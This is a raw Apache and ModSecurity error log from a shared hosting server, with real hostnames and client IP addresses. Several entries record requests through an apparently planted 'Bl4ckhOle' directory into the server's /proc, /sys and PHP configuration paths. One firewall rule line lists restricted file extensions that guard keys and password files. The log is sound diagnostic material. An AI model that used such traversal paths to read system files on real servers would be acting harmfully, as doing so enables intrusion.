[Fri Jul 17 07:50:19.905611 2026] [ssl:error] [pid 1993675:tid 1993675] (70014)End of file found: [client 66.85.158.91:51532] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:50:19.921788 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:20.017206 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:20.231207 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:20.478839 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:20.575783 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:20.578963 2026] [proxy_fcgi:error] [pid 1993715:tid 1993715] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:50:20.666279 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:20.760747 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:20.873020 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:20.959506 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:21.046952 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:21.048406 2026] [proxy_fcgi:error] [pid 1993715:tid 1993715] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:50:21.087087 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:51616] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:50:21.421624 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:21.636609 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:21.687810 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:21.964781 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:22.055777 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:22.367427 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:22.412803 2026] [proxy_fcgi:error] [pid 1993715:tid 1993715] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:50:24.830450 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:26.585614 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:26.967363 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:27.238983 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:53398] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:50:27.362664 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:27.522339 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:27.581536 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:29.201709 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:29.370152 2026] [security2:error] [pid 1993573:tid 1993573] [client 57.141.18.16:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory119/node0/memory133/node0/memory53/power/"] [unique_id "almRbXt8zp89pALg8Q5eOAAAAA4"]
[Fri Jul 17 07:50:29.370189 2026] [security2:error] [pid 1993573:tid 1993573] [client 57.141.18.16:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory119/node0/memory133/node0/memory53/power/"] [unique_id "almRbXt8zp89pALg8Q5eOAAAAA4"]
[Fri Jul 17 07:50:30.825312 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:31.006661 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:31.232111 2026] [security2:error] [pid 1994446:tid 1994446] [client 47.82.14.140:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/brotli.ini"] [unique_id "almRb12NhE8i6ppze4emoQAAAAs"]
[Fri Jul 17 07:50:31.232627 2026] [security2:error] [pid 1994446:tid 1994446] [client 47.82.14.140:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/brotli.ini"] [unique_id "almRb12NhE8i6ppze4emoQAAAAs"]
[Fri Jul 17 07:50:31.278387 2026] [security2:error] [pid 1994446:tid 1994446] [client 47.82.14.140:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/brotli.ini"] [unique_id "almRb12NhE8i6ppze4emoQAAAAs"]
[Fri Jul 17 07:50:32.072505 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:37970] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:50:33.696819 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:34.240603 2026] [ssl:error] [pid 1993571:tid 1993571] (70014)End of file found: [client 66.85.158.91:38044] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:50:34.595770 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:38066] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:50:34.925271 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:34.979930 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:35.217755 2026] [ssl:error] [pid 1994446:tid 1994446] (70014)End of file found: [client 66.85.158.91:38092] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:50:35.500709 2026] [security2:error] [pid 1993671:tid 1993671] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almRcg5GPQ6hs4VrfMo2gwAAAAY"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1214&page_105=1027
[Fri Jul 17 07:50:35.500745 2026] [security2:error] [pid 1993671:tid 1993671] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almRcg5GPQ6hs4VrfMo2gwAAAAY"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1214&page_105=1027
[Fri Jul 17 07:50:35.892611 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:38118] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:50:37.424636 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:39.240877 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:38198] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:50:40.227544 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:40.846966 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:40.913441 2026] [security2:error] [pid 1993571:tid 1993571] [client 57.141.18.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory101/subsystem/devices/memory61/subsystem/devices/memory121/node0/memory19/"] [unique_id "almReOnUgtv5ujFYWh_oswAAAA0"]
[Fri Jul 17 07:50:40.913492 2026] [security2:error] [pid 1993571:tid 1993571] [client 57.141.18.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory101/subsystem/devices/memory61/subsystem/devices/memory121/node0/memory19/"] [unique_id "almReOnUgtv5ujFYWh_oswAAAA0"]
[Fri Jul 17 07:50:41.185692 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:42.084243 2026] [core:error] [pid 1993570:tid 1993570] (13)Permission denied: [client 57.141.18.32:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory103/node0/memory12/node0/memory17/subsystem/uevent
[Fri Jul 17 07:50:42.387334 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:43.885210 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:46.514037 2026] [core:error] [pid 1993604:tid 1993604] (13)Permission denied: [client 113.189.102.224:41707] AH00035: access to /400.shtml denied (filesystem path '/home/cloudtourssrilan/public_html/400.shtml') because search permissions are missing on a component of the path
[Fri Jul 17 07:50:48.127728 2026] [ssl:error] [pid 1993571:tid 1993571] (70014)End of file found: [client 66.85.158.91:46848] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:50:49.180676 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:46872] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:50:52.753980 2026] [core:error] [pid 1994446:tid 1994446] (13)Permission denied: [client 57.141.18.60:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory2/subsystem/devices/memory66/subsystem/devices/memory57/node0/memory59/subsystem/drivers_probe
[Fri Jul 17 07:50:57.087949 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:48890] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:50:58.604112 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:48906] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:50:58.832015 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:48920] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:51:01.595827 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:49434] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:51:02.021024 2026] [security2:error] [pid 1993573:tid 1993573] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almRjnt8zp89pALg8Q5eVwAAAA4"], referer: http://www.anandaobauae.org/?C=M;O=Auploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 07:51:02.021077 2026] [security2:error] [pid 1993573:tid 1993573] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almRjnt8zp89pALg8Q5eVwAAAA4"], referer: http://www.anandaobauae.org/?C=M;O=Auploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 07:51:04.280639 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:49556] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:51:04.635763 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:49568] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:51:05.415035 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:49626] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:51:06.039029 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:49664] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:51:07.382736 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 57.141.18.88:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory83/subsystem/devices/memory79/node0/cpu3/subsystem/devices/cpu0/crash_notes_size
[Fri Jul 17 07:51:08.131731 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 57.141.18.97:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory131/node0/memory8/subsystem/drivers_probe
[Fri Jul 17 07:51:08.777398 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:09.884415 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:10.096969 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:49788] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:51:10.822750 2026] [ssl:error] [pid 1994446:tid 1994446] (70014)End of file found: [client 66.85.158.91:49834] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:51:11.916976 2026] [core:error] [pid 1994976:tid 1994976] (13)Permission denied: [client 57.141.18.109:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory65/subsystem/devices/memory87/node0/memory3/subsystem/devices/memory53/subsystem/drivers_probe
[Fri Jul 17 07:51:14.933741 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:15.224725 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:16.117107 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:17.871636 2026] [security2:error] [pid 1993573:tid 1993573] [client 47.82.48.180:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/sys/fs/cgroup/memory/system.slice/network.service/memory.swappiness"] [unique_id "almRnXt8zp89pALg8Q5eXgAAAA4"]
[Fri Jul 17 07:51:17.871665 2026] [security2:error] [pid 1993573:tid 1993573] [client 47.82.48.180:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/sys/fs/cgroup/memory/system.slice/network.service/memory.swappiness"] [unique_id "almRnXt8zp89pALg8Q5eXgAAAA4"]
[Fri Jul 17 07:51:18.006730 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:20.080963 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:20.524535 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:45694] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:51:20.530746 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:20.910672 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:21.192997 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:21.311280 2026] [core:error] [pid 1993659:tid 1993659] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/drivers/hpet/bind
[Fri Jul 17 07:51:21.592633 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:21.628302 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:21.707034 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:21.844985 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:21.848813 2026] [proxy_fcgi:error] [pid 1993604:tid 1993604] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:51:21.936467 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:21.939049 2026] [proxy_fcgi:error] [pid 1994966:tid 1994966] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:51:22.161058 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:22.252326 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:22.643246 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:22.726626 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:22.951742 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:23.096142 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:23.197291 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:23.198191 2026] [security2:error] [pid 1993659:tid 1993659] [client 47.82.52.62:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:66/subsystem/event0/subsystem/input3/device/id/"] [unique_id "almRo5OFLENLI63GGOEDTwAAAAQ"]
[Fri Jul 17 07:51:23.198216 2026] [security2:error] [pid 1993659:tid 1993659] [client 47.82.52.62:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:66/subsystem/event0/subsystem/input3/device/id/"] [unique_id "almRo5OFLENLI63GGOEDTwAAAAQ"]
[Fri Jul 17 07:51:23.278660 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:23.376921 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:23.473403 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:23.951167 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:24.029240 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:24.219328 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:24.230797 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:51:24.408551 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:24.447039 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:24.882989 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:25.007728 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:25.673379 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:25.929004 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:26.041178 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:26.126260 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:26.494335 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:26.676972 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:26.876458 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:26.971562 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:27.062593 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:27.539301 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:27.994594 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:28.678102 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:28.726111 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:31.383694 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:31.973271 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:33.520872 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:33.521014 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:33.521135 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:33.664458 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:34.553980 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:36.765023 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:38442] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:51:38.403674 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:40.759457 2026] [security2:error] [pid 1993604:tid 1993604] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almRtIha5y5fYnQ1qRrodwAAAAE"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 07:51:40.759503 2026] [security2:error] [pid 1993604:tid 1993604] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almRtIha5y5fYnQ1qRrodwAAAAE"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 07:51:42.954354 2026] [security2:error] [pid 1993715:tid 1993715] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almRtnRlmrtCoY_COpcbFgAAAAg"], referer: http://www.anandaobauae.org/?185.195.25.238uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
